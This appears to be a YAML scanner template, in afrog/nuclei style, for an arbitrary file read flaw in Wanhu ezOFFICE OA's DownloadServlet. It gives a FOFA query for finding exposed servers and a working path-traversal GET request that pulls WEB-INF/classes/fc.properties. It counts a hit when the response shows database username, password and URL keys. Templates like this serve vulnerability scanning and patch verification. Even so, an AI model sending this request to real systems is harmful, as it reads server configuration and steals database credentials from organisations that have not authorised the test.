id: wanhu-oa-downloadservlet-fileread

info:
  name: 万户OA DownloadServlet 任意文件读取漏洞
  author: zan8in
  severity: high
  description: |
    万户OA DownloadServlet接口存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器中的敏感文件，获取敏感信息
    fofa: app="万户网络-ezOFFICE"
  tags: wanhu,download,servlet,fileread
  created: 2025/03/13

rules:
  r0:
    request:
      method: GET
      path: /defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2
    expression: response.status == 200 && response.body.bcontains(b'ccerp.user')&& response.body.bcontains(b'ccerp.password') && response.body.bcontains(b'ccerp.url')
expression: r0()